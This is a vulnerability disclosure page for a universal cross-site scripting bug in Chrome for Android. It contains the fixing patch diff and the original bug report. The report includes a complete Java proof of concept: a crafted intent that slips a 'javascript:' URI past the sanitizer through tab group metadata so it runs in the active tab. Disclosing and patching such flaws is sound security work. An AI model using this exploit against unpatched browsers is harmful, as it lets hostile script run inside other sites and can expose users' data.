CVE-2026-7941
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java |
modified |
Files Changed
chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.javachrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
Patch
From 35c2094329bdcd86e057e5d669b55af8b324f630 Mon Sep 17 00:00:00 2001 From: Hitarth Kothari <[email protected]> Date: Thu, 19 Mar 2026 13:49:47 -0700 Subject: [PATCH] Fix a bug with multi tab handling Bug: 493955234 Change-Id: Ia8f5bb76074eb473e542fa1927cf96be6379083e Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7685092 Auto-Submit: Hitarth Kothari <[email protected]> Reviewed-by: Calder Kitagawa <[email protected]> Reviewed-by: Zhe Li <[email protected]> Commit-Queue: Hitarth Kothari <[email protected]> Cr-Commit-Position: refs/heads/main@{#1602213} --- diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java index d25622b0..4d9c5c1 100644 --- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java +++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java @@ -1870,13 +1870,13 @@ * @return Whether the Intent was successfully handled. */ private boolean maybeHandleUrlIntent(Intent intent) { + if (intent.hasExtra(IntentHandler.EXTRA_MULTI_TAB_REPARENTING_METADATA)) { + return maybeHandleMultipleUrlIntent(intent); + } @Nullable TabGroupMetadata tabGroupMetadata = IntentHandler.getTabGroupMetadata(intent); if (tabGroupMetadata != null) { return maybeHandleGroupUrlsIntent(intent, tabGroupMetadata); } - if (intent.hasExtra(IntentHandler.EXTRA_MULTI_TAB_REPARENTING_METADATA)) { - return maybeHandleMultipleUrlIntent(intent); - } return maybeHandleSingleUrlIntent(intent); } diff --git a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java index a875a30c..247e2db 100644 --- a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java +++ b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java @@ -961,6 +961,8 @@ tabIds.remove(i); } } + setMultiTabMetadata(intent, multiTabMetadata); + return urls.isEmpty(); } // Ignore all invalid URLs, regardless of what the intent was. @@ -983,6 +985,8 @@ iterator.remove(); } } + setTabGroupMetadata(intent, tabGroupMetadata); + // TODO(crbug.com/384979079) Add metrics for invalid url and ignored intent during // group drag drop. return tabIdsToUrls.size() == 0;
Original Bug Report
UXSS in Chrome for Android
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
In shouldIgnoreIntent method of IntentHandler class , externally recieved intent goes through a check to prevent “javascript” and “jar” schemed URI’s from being loaded.
Source
Using getMultiTabMetadata method, it checks if the intent contains bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata ; if so, it retrieves it and initializes the class MultiTabMetadata with the extras recieved from the bundle.
If the object returned by getMultiTabMetadata is not null, then the field urls which is an ArrayList goes through for loop and any existence of “javascript” and “jar” based URI’s is removed from the list.
After performing sanitization on the urls, the method returns false if the list is not empty.
After this method gets executed, control goes to maybeHandleUrlIntent method source.
This method,
instead of checking if the intent has bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata at the beginning, it will check if there is an extra named org.chromium.chrome.browser.tab_group_metadata and creates an object of class TabGroupMetadata which will be used as a source for loading urls.
The sequence of retrieval of extras differs between shouldIgnoreIntent and maybeHandleUrlIntent, through which it is possible to include a “javascript:” uri in the arraylist of TabGroupMetadata , which won’t go through the check.
By passing an extra com.android.browser.application_id with the value com.android.chrome, the TabOpenType returned by the method getTabOpenType will be CLOBBER_CURRENT_TAB(value: 3).
In processUrlViewIntent method , if the value of TabOpenType is CLOBBER_CURRENT_TAB, browser will load it in the current active tab:
Tab currentTab = getActivityTab();
if (currentTab != null) {
RedirectHandlerTabHelper.updateIntentInTab(
currentTab, intent, /* isCustomTab= */ false);
currentTab.loadUrl(loadUrlParams);
resultTab = currentTab;
} else {
resultTab = launchIntent(loadUrlParams, externalAppId, true, intent);
}
break;
Using the vulnerability which was found out earlier, we can pass in “javascript:” uri which will be executed in the context of the current tab.
VERSION
Chrome Version: 146.0.7680.119 (Stable) Operating System: Android 16
REPRODUCTION CASE
ArrayList<Integer> mtidkey = new ArrayList<>();
mtidkey.add(1);
ArrayList<String> mturlkey = new ArrayList<>();
mturlkey.add("https://");
boolean[] mtispinned = {false};
Bundle bundle = new Bundle();
bundle.putIntegerArrayList("MultiTabReparentingIdsKey",mtidkey);
bundle.putChar("MultiTabReparentingIsIncognitoKey",'a');
bundle.putStringArrayList("MultiTabReparentingUrlsKey",mturlkey);
bundle.putBooleanArray("MultiTabReparentingIsPinnedKey",mtispinned);
Map.Entry<Object, Object> entry =
new SimpleImmutableEntry<>(1, "javascript:alert(document.domain)");
ArrayList taburl = new ArrayList();
taburl.add(entry);
Bundle innerBundle = new Bundle();
innerBundle.putLong("high",1);
innerBundle.putLong("low",1);
Bundle exp = new Bundle();
exp.putBundle("tabGroupId",innerBundle);
exp.putSerializable("tabIdsToUrls",taburl);
exp.putInt("selectedTabId",1);
exp.putInt("sourceWindowId",1);
exp.putInt("tabGroupColor",1);
exp.putBoolean("tabGroupCollapsed",false);
exp.putBoolean("isGroupShared",true);
exp.putBoolean("isIncognito",false);
Intent intent = new Intent();
intent.putExtra("org.chromium.chrome.browser.tab_group_metadata",exp);
intent.putExtra("org.chromium.chrome.browser.multi_tab_reparenting_metadata",bundle);
intent.putExtra("com.android.browser.application_id","com.android.chrome");
intent.setClassName("com.android.chrome","org.chromium.chrome.browser.ChromeTabbedActivity");
intent.setAction("org.chromium.chrome.browser.dummy.action");
Intent launch = new Intent("android.intent.action.VIEW").setData(Uri.parse("https://www.google.com")).setPackage("com.android.chrome");
startActivity(launch);
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
startActivity(intent);
}
}, 2000);
CREDIT INFORMATION
Reporter credit: Adithya Kotian
- https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
- https://g.co/chrome/vrp
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=1871?gsn=maybeHandleUrlIntent&gs=KYTHE%3A%2F%2Fkythe%3A%2F%2Fchromium.googlesource.com%2Fcodesearch%2Fchromium%2Fsrc%2F%2Fmain%3Flang%3Djava%3Fpath%3Dorg.chromium.chrome.browser.ChromeTabbedActivity%236af3e658316262e657859e8674470fd0fe859f8754b8b8a976c40eb7febbef3d
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=1871?gsn=maybeHandleUrlIntent&gs=KYTHE://kythe://chromium.googlesource.com/codesearch/chromium/src//main?lang=java?path=org.chromium.chrome.browser.ChromeTabbedActivity#6af3e658316262e657859e8674470fd0fe859f8754b8b8a976c40eb7febbef3d
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=934?gsn=shouldIgnoreIntent&gs=KYTHE%3A%2F%2Fkythe%3A%2F%2Fchromium.googlesource.com%2Fcodesearch%2Fchromium%2Fsrc%2F%2Fmain%3Flang%3Djava%3Fpath%3Dorg.chromium.chrome.browser.IntentHandler%23ce31cc235193c27fc38e646fb443a8eceee35ce62ba95499784d6a1b760feab1
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=934?gsn=shouldIgnoreIntent&gs=KYTHE://kythe://chromium.googlesource.com/codesearch/chromium/src//main?lang=java?path=org.chromium.chrome.browser.IntentHandler#ce31cc235193c27fc38e646fb443a8eceee35ce62ba95499784d6a1b760feab1
- https://www.chromium.org/Home/chromium-security/reporting-security-bugs
- https://www.google.com